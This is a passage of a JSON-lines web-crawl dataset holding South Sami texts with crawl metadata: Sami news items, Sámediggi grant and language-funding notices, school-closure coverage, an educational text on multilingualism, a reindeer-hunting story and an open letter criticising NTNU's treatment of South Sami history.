Hulbækmo, laavlodh jih joejkedh.\n– Aejlegen dellie åarjelsaemien gyrhkesjimmie, gusnie dah saemien skylleme maanah meatan jih aaj dah skylleme maanah mij edtjieh Elgån gærhkosne skylledh. Diekie aaj mijjien orre åarjelsaemien hearra, Einar Bondevik båata jih åadtjebe govledh Marja H Mortesson laavlodh jeahta Ristin Mortensson.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/vuekie-evtiedidh-1.11912671","date":"2018-01-21T20:49:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890874.84\/warc\/CC-MAIN-20180121195145-20180121215145-00083.warc.gz","language":"sma","language_score":0.9999504089,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999504089355469}","num_words":236,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tååge lea moetesjamme nieljie bovsth moetesjamme gaskem Eiterstraum jih Mosjøen. Tååge åarjelasse veedtsi jih deahpadi medtie tsåahka 16.00.\nDaan biejjien lea tjåangkoe gaskem Noerthelaanten fylhkenålma, samferdselsministere jih saemiedigkienpreesidente Nordlandsbanensne. Dah edtjieh soptestidh guktie dah maehtieh aededh vielie bovtsh ruevtie-raajroesne båetedh. Årroeji stoerre dåeriesmoerh dejtie båatsoesaemieh dajvesne.\nDaan biejjien lea 140 jaepieh juassah Elsa Laula Renberg reakasovvi. Jih lea mieriedamme daan biejjien lea saevegebiejjie.\nDaan biejjien Ole Henrik Magga sjædta 70 jaepien båeries. Magga lea gieledotkije jih professore. Dihte lij voestes presideente Nøørjen Saemiedigkesne.\nAkte bijjelen gøøkteluhkie jaepien båeries skiemtjesåejhtere leah Inntrøndelagen digkiereaktoesne biedtedovvemme goktie goerhmelem daalkestemme akte gaektsieluhkie nielje jaepien båeries nyjjsene goktie dihte jeemie.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.nrk.no\/sapmi\/o__asat---aarjelsaemien-1.13572943","date":"2018-02-24T18:47:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815918.89\/warc\/CC-MAIN-20180224172043-20180224192043-00129.warc.gz","language":"sma","language_score":0.9999336004,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999336004257202}","num_words":102,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nSaemiedigkie dåarjoem vadta juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh maadthlïerehtæmman evtiedidh.\nMaahtah tseegkemedåarjoen bïjre ohtsedh 1. boelhkese: Åestije-, jïh dorjese\/dïenesjefokuse jïh\/jallh 2. boelhkese: Evtiedimmie- jïh sjïdtemeboelhke.\nSaemiedigkie dåarjoem vadta evtiedæmman pedagogeles ïebnijste maanagïertide.\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nJeatjah guhkiebasse barkoe saemien reaktajgujmie, arealigujmie jïh vierhtiejgujmie - ohtsemebaseradamme dåarjoe","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2018-02-22T04:30:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814002.69\/warc\/CC-MAIN-20180222041853-20180222061853-00698.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":83,"character_repetition_ratio":0.13,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie raerie jååktetje biejjien, Gærhkoe-,øøhpetimmie jih gïehtjedimmie komiteem Stoerredigkesne gaavnedin, gusnie Gaske-Nøørjen saemien skovlen jielemen bijre raarastallin. Nøørjen reereme lea staatebudsjeedten tjirrh, uvtelassem buakteme gusnie vååjnoe, edtjieh Gaske-Nøørjen Saemien skovlem dahpedh.\nGaske-Nøørjen saemien skovlen eejhteghe dåehkie prieviem tjaaleme. Prievesne tjåadtja, daate nåake sjædta daejtie saemien maanide Nordlaantesne jis edtjieh Gaske- Nøørjen saemien skovlem dahpedh.\n- Lohkh aaj: Åarjelsaemien gïelem girhkelieh\nFN maana-konvensjovnem vuestelieh\nDej laantine gusnie aalkoealmetjh, maanaj reaktoe jih jijtsh kultuvrem, jaahkoem jih gielem nuhtjedh. Gaske-Nøørjen saemien skovle daerpies daan åvteste desnie maanah åadtjoeh saemien gïelem, gietevætnoe, beabpmoe jih kultuvre øøhpetimmiem maam eah dah jeatjah daaroen skuvlh maehtieh faaledh. Eejhtege dåehkie tuhtjie, Nøørjen reereme vuestele daam maana konvensjovne tjaalegem 30 .\nKultuvremaahtoem dessieh\nEejhtege dåehkie straavva, dah saemien maanah Nordlaantesne dessieh daam reaktoem jih kultuvremaahtoem skuvlesne åadtjodh. Dihte sjædta jis Gaske-Nøørjen saemien skovlem dehpieh.\nJoekoen maahtoe byjreske\nGaske Nøørjen Saemienskovle joekoen maahtoem utnieh jih maajh-øøhpetimmien tjirrh øøhpehtidh. Faagemaahtoem jih gïelealmetjh mij sijhtieh saemien gïelem nænnoestidh. Dah tjåanghkoe våhkoej gaskem åadtjoeh 49 maanah saemien tæjmoeh maajh-øøhpetimmien tjïrrh jih dihte vuesehte jienebh aelkieh saemiestidh. Åarjelsaemien gïele akte dejstie unnemes gïelijste Unescon læstosne.\nBeetnegh spååredh\nEllinor Jåma åvtehke Saemiedigkien øøhpetimmiekomitesne meatan jååktetje tjåanghkosne, stoerredigkien ektesne jih tuhtjie dagkeres tjåanghkoe vihkeles.\n– Ussjedamme Gaske-Nøørjen saemien skovlem dahpedh, eah maam daejrieh daan skuvlen bijre, man vihkeles åarjelsaemide lea, daesnie 49 learohkh øøhpetimmiem åadtjoeh, Jåma jeahta.\nGuktie edtjede daelie barkedh?\n– Mijjieh jeahteme tjuerieh, daam aamhtesem bååstede staatenraerijide sedtedh guktie mubpie jaepetje budsjeedteste gaarvene, Jåma jeahta.\nStaate sæjhta 3 milljovnh kr spååredh jis saemien skovlem steegkieh jih Jåma tuhtjie daate lea vaenie beetnegh spååredh\n–.Eah leah staate gukt akt ussjedamme, guktie edtjieh seamma faaleldahkem daejtie learokidie jeatjah skuvline vedtedh, Jåma jeahta.\nSkuvlem beerkedh\nDaelie retnoe, edtja staate vihth raarastalledh daan budsjeedten bijre jih Jåma eevtjie gaajhkide tjarke barkedh.\n– Eevtjem gaajkide, tjieltide, saemienskovlen ståvroe jih jeatjah eadtjohks almetjh jih tjåanghkoem stoerredigkien politihkere gujmie buektiehtidh. Tjoeveribie daelie ektesne tjarke barkedh jis edtjebe skovlem beerkedh, Jåma jeahta.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/www.nrk.no\/sapmi\/gaske-noorjen-saemien-skovlen-jielemen-bijre-raarastalleme-1.12612106","date":"2018-05-22T16:16:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794864798.12\/warc\/CC-MAIN-20180522151159-20180522171159-00553.warc.gz","language":"sma","language_score":1.000000596,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000005960464478}","num_words":311,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie prioriterede dåarjoem gïeleråajvarimmide vedtedh åarjel-, julev- jïh markasaemien dajvine, men jienebh ohtsemh ohtsele daejstie dajvijste.\nJaepien 2018 Saemiedigkie reeremem åadtjoeji 2,7 millijovnh kråvnaj åvteste mej bijjelen Nordlaanten fylhkenålma aarebi lij reereme. Vierhtieh edtjieh gïeleråajvarimmide juhtedh åarjel-, julev- jïh markasaemien dajvine.\nTsïengelen 2018 Saemiedigkie ræhpas tjåanghkoeh höölti dejnie dajvine gellie almetjigujmie stïeresne ovmessie gïelebyjresijstie. Desnie Saemiedigkie heesti gïelebyjresh ohtsemh Saemiedægkan seedtieh dan åvteste vierhtieh Gïeleprosjekt-påasten nualan bïejesovvin Saemiedigkien budsjedtesne. Tjåanghkojne aaj beevni Saemiedigkie sijhti såemies dejstie vierhtijste nuhtjedh akten orre barkose mij edtja sjïere fokusem utnedh barkose gïelebyjresigujmie daejnie dajvine, jïh aaj vierhtide nuhtjedh råajvarimmieh damtijidh mah dåarjoem åådtjeme Nordlaanten fylhkenålmeste gellie jaepieh. Akte barkije daam orre barkoem eelki skïereden 2018, jïh dïhte lea tïjjem daan raajan nuhtjeme Saemiedigkine jïh barkoelaavenjassigujmie åahpenidh. Dïhte meatan orreme såemies tjåanghkojne dajvine, gïelejarngide råakeme jïh dejgujmie åahpenamme.\nDaan raajan 2018 libie dåarjoem vadteme daejtie prosjektide gïeleprosjektepåasten bijjelen, daejtie dajvide:\n|Tseegkeme saemien gïelejarngeste Aarbortesne – åarjelsaemien||250 000|\n|Saemiengïeleldh gærjah utnijh ohtsedieh – åarjel-, julev- jïh noerhtesaemien||300 000|\n|Giellabiesse –julevsaemien||210 000|\n|Åarjelsaemien bijpelejarkoestimmieh II – åarjelsaemien||300 000|\n|Gïelelïerehtimmie\/gïelekuvsje – julevsaemien||75 000|\n|Saemien gïele- jïh kultuvregaavnedimmieh learoehkidie rørossaemien dajvesne||300 000|\n|Saemien skyllijemaanajerkie 2018 – åarjel-, julev- jïh noerhtesaemien||92 800|\n|Åarjelsaemien sisvege Sámi ođasmagasiidnesne – åarjelsaemien||155 000|\n|Saamastalledh – Kommunikatijve gïelelïerehtimmie – åarjelsaemien||300 000|\nLissine vierhtieh vadtasuvvieh ovmessie gïele- jïh kultuvreråajvarimmide åarjel-, julev- jïh markasaemien dajvine jeatjah påasti bijjeli Saemiedigkien budsjedtesne.\n– Daan raajan daan jaepien saemiedigkieraerie lea dåarjoem vadteme gaajhkesidie mah vierhtiej bïjre syökeme daan prioriteradamme ulmiedåehkien sisnjelen. Manne læjhkan jienebh ohtsemh ohtselem, jïh joekoen julev- jïh markasaemien dajvijste, saemiedigkiepresidente Aili Keskitalo jeahta.\n2019 Saemiedigkie sæjhta eadtjohkelaakan barkedh daej gïelebyjresi vööste daejnie dajvine juktie aelkedh jïh dåarjodh jienebh gïeleråajvarimmieh mah edtjieh gïelelutnjeminie viehkiehtidh. Stipende lea tseegkesovveme studentidie mah ööhpehtimmiem åarjel- jïh julevsaemien gielesne vaeltieh, giellatjiehppe Árran maanagïertesne lea stuerebe dåarjoem åådtjeme jïh mijjieh gïeleprosjeekth prioriteradamme ryöktesth daej dajvi jïh gïeli vööste.","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/rorosnytt.no\/saejhta-gielelutnjeminie-aarjel-julev-jih-markasaemien-dajvine-viehkiehtidh\/","date":"2018-12-16T07:46:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376827596.48\/warc\/CC-MAIN-20181216073608-20181216095608-00407.warc.gz","language":"sma","language_score":0.9999754429,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999754428863525}","num_words":279,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jienebe-gïelen siebriedahkesne almetjh jienebh gïelh soptsestieh. Daan biejjien vihkeles jïh daerpies gïelh maehtedh, jïh almetjh jienebh gïelh lierieh ietnien- jallh voestes-gïeli baalte. Guektien- jallh jienebe-gïelevoete stoere vierhtie almetjasse jïh siebriedahkese.\nJienebe-gïelen siebriedahke\nJienebe-gïelen siebriedahke lea siebriedahke gusnie almetjh jienebh gïelh soptsestieh. Jienebe-gïelen laanth leah laanth gusnie göökte jallh jienebh byjjes gïelh. Jïjnjh daagkerh laanth veartanisnie. Nöörjesne dah byjjes gïelh: daaroen-gïele, orredaaroen-gïele jïh saemien gïelh. Almetjh, mah göökte jallh jienebh gïelh maehtieh, leah guektien- jallh jienebe-gïelen almetjh.\nDaan biejjien almetjh abpe veartanisnie sinsitnine gaskesedtieh. Mijjieh dah seamma tv-programmh jïh filmh vuartasjibie, jïh dam seamma musihkem goltelibie seamma gubpene årrobe. Mijjieh ålkoe-laantesne mïnnebe juktie eejehtalledh. Gellie almetjh aaj jeatjah laantese juhtieh juktie barkoem ohtsedidh, jïh jïjnjesh tjuerieh hïejme-laanteste baataridh dåaroej jallh neavroen dïehre.\nVeartanisnie mijjieh jïjnjh vaaroeh jïh beapmoeh åestebe jïh duekebe gaskemsh, dovne jïjnjh aaj dåeriesmoerh jïh dåaroeh gååvnesieh. Almetjh tjuerieh dah stuerebh veartenen gïelh provhkedh juktie buektiehtidh sinsitnine soptsestalledh jïh gaskesadtedh rïjhki rastah. Gellie millijovnh almetjh dah stööremes veartenen gïelh soptsestieh goh mandarijne-kinan-gïele, spanijen-gïele, englaanten-gïele, hindijen-gïele, j.v. Englaanten-gïele dïhte stööremes gaske-nasjonaale gïele. Dan åvteste englaanten gïele dovne jeatjah gïelide tsavtsa baakoej jïh jiehtegigujmie. Nimhtie aaj veartenen ovmessie gïelh jïh kultuvrh pleentesuvvieh.\nGuektien- jïh jienebe-gïelevoetem dåarjoehtidh\nDaaletje siebriedahkesne vihkeles jïh daerpies jienebh gïelh maehtedh. Skuvlesne mijjieh englaanten-gïelem, tysklaanten-gïelem jallh jeatjah ammes-gïelem lïerebe. Jïjnjh almetjh veartanisnie daan biejjien jienebh gïelh lierieh ietnien- jallh voestes-gïeli baalte. Almetje gie göökte jallh jienebh gïelh maahta dïsse aelhkebe dovne jienebh gïelh lïeredh. Dotkemh vuesiehtieh dellie almetjh verkebe jïh tjïelkebe orre gïelh lierieh.\nIdtjin saemieh åvtesne åadtjoeh jïjtse ietnien-gïelem lïeredh skuvlesne, ajve daaroen-gïelem. Daan biejjien saemide aaj nuepieh saemien lohkedh voestes-gïeline jallh mubpie-gïeline maadth-skuvlesne jïh jåarhke-skuvlesne. Såemies tjïelti aaj faaleldahkh saemien maanide saemien-gïelen maana-gïertese. Jillebh saemien-gïelen ööhpehtimmie aaj gååvnesieh dejtie gïeh sijhtieh gïelem lohkedh jillebe daltesisnie. Guektiengïelen- jïh jienebe-gïelenvoete jïjnjh nuepieh buakta almetjasse jïh siebriedahkese.\nJienebh nuepieh\nDovne saemien siebriedahkesne jïh stoere siebriedahkesne saemien-gïelen barkijh daerpies. Guektiengïelen- jïh jienebe-gïelen almetjasse jienebh barkoe-faaleldahkh jïh veeljeme-nuepieh goh akten-gïelen almetjasse. Almetje gie saemien siebriedahkesne årroeminie dïsse hijven saemien maehtedh soptsestidh, lohkedh jïh tjaeledh. Jïjnjh jïjnjebh nuepieh gïeline barkedh joekehts barkoe-sijjine goh maana-gïertesne, skuvlesne, tjïeltesne, fylhken-tjïeltesne jallh Saemiedigkesne, meedijisnie jnv., aaj privaate barkoe-sijjine jïh organisasjovnine. Dejtie gïeh saemien maehtieh, aelhkebe barkoe-maarhnesne jïh siebriedahkesne meatan årrodh, båetije boelvi tsiehkieh gellien-laakan jïh buerebe-laakan eadtjoestidh jïh evtiedidh.\nJienebegïelevoeteKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:176815\/resource:1:189039","date":"2019-04-22T15:25:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00405.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":374,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste «Lohkede saemien» maam Knut Bergsland jïh Ella Holm Bull tjaaleme. Jaepien 1993 gærja trygkesovvi. Daennie soptsesisnie åadtjoeh govledh mij heannadi goh Lasse jïh manne edtjimen mïnnedh sarvh vuetjedh\nGoh Laasse jïh manne edtjimen mïnnedh sarvh vuetjedh\nAkten tjaktjen die Laasse jïh manne vuelkien edtjien mïnnedh sarvh vuetjedh. Vuelkien gujht vaedtsien maajsoejgujmie, edtjien die gille biejjieh gaatodh.\nDie såemies båeries sïeterem jeksien, die desnie åerien dam jïjjem. Aereden varke, tjearan die bæjjese tjuedtjielien jïh vaedtsien dan mijjen dajvese, maam laedtien gåhtjoeh Rangeldalen.\nDïhte ålvas tjaebpies sarve-dajve. Desnie sarvh ektede - göökte, golme jïh aaj nieljie tjåenghkesne. Dan aereden die vuehtien aktem onn'ohtje skåakngetjem. Ae, idtjimen goh dan minngesne vuelkieh. Vaedtsien gujht gïehtjedien, ånnetji vuejnien. Ånnetji die Laasse vuajnije golmegem lovvesjeminie göökte sarvh, akte naa stoerre dejstie, jïh die råtnoe. Man guhkiem lean die desnie tjåådtjeme, die dïhte akte sarve tjuedtjele jïh aalka gåatodh, jallese vualka dan sermien tjirrh. Dohte stuerebe sarve dïhte lij minngesne. Ånnetji tjåadtjoeh, die dïhte aaj vualka minngesne, jallese, vaedtsien soejmetji.\nDie Laasse jeahta munnjien, satne edtja vaarredh bæjjese dahkoe. Manne baatsam die tjåadtjodh bïenjine aktine. Laasse gujht die vualka vaedtsien.\nÅnnetji die dohte sarve båata bååstede jïh tjåådtje guavla. Ij Laasse dam vuaptan sjïdth gænnah. Dïhte sarve tjåådtje ohtje deava-sporjehken nelnie. Manne maaje njorkedem Laassese, jïh vuesehtem dam sarvem. Die easkah Laasse fehkehte jïh vuajnije, jïh die båata bååstede munnjien sarhkele edtja satne vaarredh bæjjese: «Tjåadtjoeh datne aehtjie bijjene daesnie.» Jaa, manne ojhte baatsam tjåadtjoen desnie.\nMan guhkiem dellie govlem skuehtie baahtsa, Laasse vöötji. Laassen alvas kråaptja-njuenie gaamegh. Jïh dellie vaarreste åvtene dahkoe. Dejnie voestes skuehtine die dom råtnoem vöötji. Dïhte gahtjeli dej stråmhpoej sijse. Dam gujht die baaji desnie gællasjidh.\nJïh die ånnetji, dellie aalka dïhte akte skuehtie baahtsedh vïerrebe mubpeste. Manne desnie tjåadtjoem funterdem, ussjedem, jïh saarnoeh guktie amma dïhte kaarre. Man guhkiem die ussjedem. Ae manne edtjim aaj bæjjese vaarredh jïh viehkiehtidh. Goh leam die fuehpehteminie jïh tjahteminie, die Laasse båata bååstede vaarren. Im daejresth, die vuajnam Laasse juelkieh bæjjese jïh åejjie våålese jïh numhtegh morhte-håalan sïjse. Dïhte morhte vuajnam stræjhtja dohk' diekie guktie dïhte kaarre jïh röövre gaarveni. Destie tjuedtjele die morhtine goh, vuajnam kroehkeste dejstie sov tjelmijste jïh ånnetji die viht fuehpehte varke destie.\nDellie manne vuajnijem dam aktem sarvem. Vuatjam maaje, manne jis dejnie bïenjine gïetesne, juktie idtjim manne dievvedh. Dam johke-bealam vuajnam dïhte sarve vualka. Die Laasse aaj vuaptan sjædta, jïh die vuatja viht. Nåå lahkaski dievviedisti gujht guktie gahtji. Die manne aaj dahkoe våålese vualkam. Die Laasse jeahta: «Bïejh maa die datne, aehtjie, dållem jïh prïhtjegem voessjh, die edtjem manne tjåejjieh vaeltedh.» Jaa, manne gujht ojhte risjnestem gasngesh.\nGasngese-laante dïhte, jïh gejhkie jïh buaredh, juktie idtjim gujht man guhkiem gïehtelh dejnie. Prïhtjegem voessjeme, die gujht die båata jïh jåvka. Desnie lean die tjahkesjeminie, die vaalta dam jïjtse röövrem jïh gïehtjede, jïh die jeahta: «Vuartesjh, aehtjie, guktie mov röövre vååjnoe.» Åå, dellie ij annje naan sikth dan röövren. Mah dellie bijjene doj stråmhpoej sisnie kaarre snåhkaramme jïh hajkedamme dam jïjtse röövrem gierkien sontere, murhkestamme dam minngie-siktem guktie ij naan sikte. Jïh guktie dejnie maa ihke meehti dievviedidh, die im manne guarkah. Nåå sååjhteme gujht staaran dan sarvese juktie dievviedisti. Dellie jeahta: «Dellie maa edtja satne soptsestidh gosse Stordalan båata, jïh vuesiehtidh guktie edtja sikte årrodh gosse edtja sarvh vuetjedh.»\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\n- Kjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\nSïejpem dåalvoeminieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:172599","date":"2019-04-25T22:32:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00451.warc.gz","language":"sma","language_score":0.999969244,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999692440032959}","num_words":603,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inge Even Danielsen daam kronihkem tjaaleme jïh kronihke lij plaeresne Adresseavisa bæjhkoetamme gierhkiengarres 14. b. 2017. Inge Even Danielsen lea båatsoe-saemie Røroste.\nTïjje båateme gaatelassjedh\nRæhpas prievie Norges teknisk-naturvitenskapelige universiteetese NTNU.\nUniversiteete Tråantesne sæjhta jaehkiehtidh dej lea jïh dej lij Nöörjen bööremes historihkerh. Aaj vååjnoe goh daate akte sïejhme vuajnoe dej gaskem mah ïedtjem utnieh nöörjen histovrijasse bielelen daejredh man nåakelaakan NTNU lea åarjel-saemien histovrijem gïetedamme.\nÅarjel-saemiej jïh båatsoe-saemiej gaskem Røros-dajvesne NTNU aktem gååre såaltjem åtna goh daajroe-institusjovne histovrijasse, dan åvteste dah leah meatan orreme aktem histovrije-vuajnoem voebnesjamme mij eevre buajhkoes lea yöjtede.\nFåantoe gååvnese gihtjedh man åvteste NTNU ij leah væljoem vuesiehtamme jallh tjiehpiesvoetem åtneme tjoevkesem hijvenlaakan biejedh dan åarjel-saemien histovrijasse. Vååjnoe goh dah leah åajaldamme, jallh sijhtieh tjïekedh Trööndelage jïh stoerre bielieh Åarjel-Nöörjeste aktem saemien histovrijem utnieh. Guhkede gietjeste jïh eevre mijjen tïjjen raajan akte åarjel-saemien åålmege lea jieliemassem åtneme vaerijste Tråantefjovlen åerjielisnie. Maahta gujht hijvenlaakan aerviedidh åarjel-saemieh goh åålmege guhkiem dejtie vierhtide oktegh nuhtin mejtie daate eatneme vedti.\nDoh dajvh mejtie saemieh aalkoelistie nuhtjin Tråantefjovlen åerjielisnie leah ånnetji ånnetji tjarke geahpanamme. Gellielaaketje fåantoeh man åvteste, men ij gåaredh baajedh årrodh neebnedh dam vihties politihkem maam åejvie-ladtjh leah tjïrrehtamme juktie saemien baeliem jïh åtnoem gaertjiedidh gaskoeh 1800-låhkoen raejeste jïh daan raajan.\nJuktie daam politihkem jååhkesjidh, dellie dam sïejhme vuajnoem vuastalin saemiej bïjre goh dajven voestes årrojh, jïh faamoem tseegkin viehkine jïjtsh histovrijem tjïelkestidh.\nReereme jïh reakta-suerkie Yngvar Nielsenen aelhkie histovrije-dotkemasse jaefiestin dallatjinie mænngan dïhte aktem tjaalegem bæjhkoehti gusnie tjåadtjoeji saemieh åarjene lin aadtjen båateme vaanterdamme noerhtelistie.\nMænngan dotkeme-feelemisnie orreme Trööndelagesne såemies våhkoeh, aktem tjaalegem tjeeli 1891, gusnie bagkesi saemieh idtjin dajvide Tråantefjovlen luvlielisnie båetieh åvtelen medtie jaepien 1700, jïh Rørosesne ij lij saemieh åvtelen medtie 1750. Dïhte tjïelkesti satne ij lij saemien sijjie-nommh, sjïeledimmie-sijjieh jallh tjaaleldh gaaltijh gaavneme, jïh ij lij naan saemien aerpie-vuekie desnie åvte-jupmeles tïjjeste.\nSaemieh jïjtjh eah lin sïemes dan bïjre, jïh mænngan dokumentasjovne båateme mij vuesehte Yngvar Nielsen båajhtode veelti gaajhkine tsiehkine.\nNielsenen \"dotkeme\" stoerre konsekvensh åadtjoeji saemide mah båatsoste dajvesne jieliejin jïh jielieminie. Joe mubpien jaepien såemies mijjen maadtoe-ladtjijste aktem reakta-aamhtesem teehpin Røros-dajvesne, gosse Jollereakta vuesiehti Yngvar Nielsen «sov daejremevoeteles dotkemen tjïrrh lea vihtiestamme arrah-almetji reaktah dejnie dajvine mej bïjre lea, leah båarasåbpoe goh saemiej reaktah»(«gjennom sin vitenskapelige forskning har godtgjort, at de fastboendes rettigheter i de her omhandlede trakter er eldre enn Lappernes»). Mænngan lij ahkedh jienebh aamhtesh gusnie båatsoe gåatome-reaktah teehpi jïh dööpmesovvi ålvoes stoerre maaksoe-krïevenassh maeksedh, gusnie båantah bagkesin bovtse lij skaaram dorjeme.\nYngvar Nielsenen vuajnoe saemiej bïjre goh aadtjen sïjse-vaanterdæjjah dajven sïjse aaj stoerre ulmiem åadtjoeji gosse raasth båatsoe-sïjtide geasalgovvin. Lissine dle akte laake nænnoestamme sjïdti jaepien 1897 mij ållesthlaakan nyöjhki bovtsigujmie gïehtelidh dej aadtjen nænnoestamme gåatome-sïjti ålkoli Hedmaarhkesne jïh Trööndelagesne.\nGellie fuelhkie tjoerin bovtsigujmie orrijidh jallh dej aadtjen tseegkeme båatsoe-sïjti sijse juhtedh. Stoerre dajvh Hedmaarhkesne, Åarjel-Trööndelagesne, Opplaantesne jïh Møre jïh Romdalesne dan åvteste båatsose dasseni.\nEevre dan mænngan ov-vaantoeh orreme båatsoen jïh dej gaskem mah bagkesieh båatsoen ij leah gåatome-reakta gåatome-sïjti sisnjeli, joekoen Røros-dajvesne. Gellie skaaramaaksoe-aamhtesh orreme jïh fåantoe lea båatsoen akte objektijve maaksoe-dïedte bielelen skåltoem krööhkestidh dan skaaran åvteste maam bovtse dorje. Maaksoe-njoelkedassh båatsoe-laakesne leah sagke striengkiesåbpoe goh jeatjah gåatome-utniejidie.\nAamhtesinie båatsoen gåatome-reaktan bïjre, dïhte prinsihpe voestegh tïjjesne – voestegh reaktesne lea gellien aejkien åtnasovveme. Dah mah båatsoem vuastalieh leah aaj Yngvar Nielsenen seenhte fremrykkings-teorijese nahtedamme jïh jeahteme båatsoe ij reaktam utnieh dan åvteste dïhte sån bööti mænngan goh båanta-årrojh lin dajvese båateme.\nHistorihkerh NTNU:sne leah meatan orreme reakta-aamhtesinie jïh vuajnoeh jïh mïelh dåarjoehtamme mah jiehtieh båatsoe jåarta-burrien mænngan bööti Røros-dajvese. Professovre Jørn Sandnes jïh altese learohke, professovre Kjell Haarstad lægan gellien aejkien maehtehtje vïhnegh orreme jïh vihtiestamme dah åajvahkommes Nielsenen fremrykkings-teorijem dåarjoeh, seamma argumeentigujmie mejtie dïhte nuhtji 100 jaepieh dej åvtelen.\nDam seamma gærja-seerijisnie Trøndelags historie vuejnebe, gusnie barkijh NTNU:sne leah vihkeles tjaelijh seerijisnie jïh ikth vielie tjaelieh «akte saemien vaanterdimmie åarjese sjugniehtovvi 1500-låhkoen jïh minngeben tjuetie-jaepien, stööremes vaanterdimmie ånnetji gaskoeh 1600-låhkoen åvtelen». Daate badth aarebi goh Yngvar Nielsen, Jørn Sandnes jïh Kjell Haarstad bagkesin, men mijjen mïelen mietie gaajhke lea akten möönsteren mietie.\nDan aelhkie lahkanimmien gaavhtan NTNU lea åarjel-saemien histovrijasse åtneme, tïjje lea båateme akten byögkeles gaatelassjese seammalaakan goh Gånka jïh Nöörjen gærhkoe leah buakteme. NTNU ij leah dam dïedtem vaalteme maam tjuara 